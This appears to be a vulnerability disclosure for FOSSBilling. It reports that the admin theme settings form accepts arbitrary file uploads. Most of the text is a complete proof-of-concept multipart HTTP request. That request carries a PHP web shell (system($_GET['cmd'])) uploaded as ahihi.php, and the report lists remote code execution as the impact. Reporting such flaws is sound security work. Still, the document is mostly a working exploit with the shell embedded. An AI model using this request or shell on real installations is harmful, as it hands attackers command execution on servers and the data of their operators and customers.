Description

In the theme settings function, any file can be uploaded without any filter, resulting in an arbitrary php file being uploaded.

Proof of Concept

POST /admin/theme/huraga HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------382348652630811262464163010367
Content-Length: 8095
Origin: http://localhost
Referer: http://localhost/admin/theme/huraga
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE; PHPSESSID=63tt4112tgk75t8kl9viq1hfl6

-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="CSRFToken"

fc49506212203e218932933eea6c6675
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="color_scheme"

green
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_page_header"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_company_logo"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_company_name"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_client_details"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="sidebar_balance_enabled"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="top_menu_dashboard"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="top_menu_order"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="top_menu_profile"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="top_menu_signout"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="login_page_show_logo"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="login_page_logo_url"

/
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_password_reset_link"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_signup_link"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="login_page_show_remember_me"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="show_breadcrumb"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="hide_dashboard_breadcrumb"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="require_login"

0
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="showcase_enabled"

0
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="showcase_size"

3
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="showcase_text"

## The showcase text is markdown enabled
So you can use features like ~~strike-through ~~

Additionally, you can use things like lists
 - List item 1
 - List item 2

What's that? You don't want to have a button / link?

Then just make it blank and FOSSBilling will automatically hide it!
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="shell.php"; filename="ahihi.php"
Content-type: application/x-php

<?php

system($_GET["cmd"]);

?>
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="showcase_button_title"

Showcase button title
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="showcase_button_url"

Showcase link URL
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_dashboard"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_order"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_support"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_services"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_invoices"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_emails"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_payments"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_news"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="side_menu_kb"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="sidebar_note_enabled"

0
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="sidebar_note_title"

Note title
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="sidebar_note_content"

Note content
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="meta_title"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="meta_description"

Members area
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="meta_keywords"

members area
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="meta_robots"

index, follow
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="meta_author"

FOSSBilling
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_enabled"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_to_top_enabled"

1
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_signature"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_1_enabled"

on
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_1_title"

About us
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_1_page"

about-us
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_2_enabled"

on
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_2_title"

Terms and conditions
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_2_page"

tos
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_3_enabled"

on
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_3_title"

Privacy policy
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_3_page"

privacy-policy
-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_4_title"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_4_page"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_5_title"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="footer_link_5_page"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="inject_javascript"


-----------------------------382348652630811262464163010367
Content-Disposition: form-data; name="save-current-setting-preset"


-----------------------------382348652630811262464163010367--

PoC Image

Impact

Remote Code Execution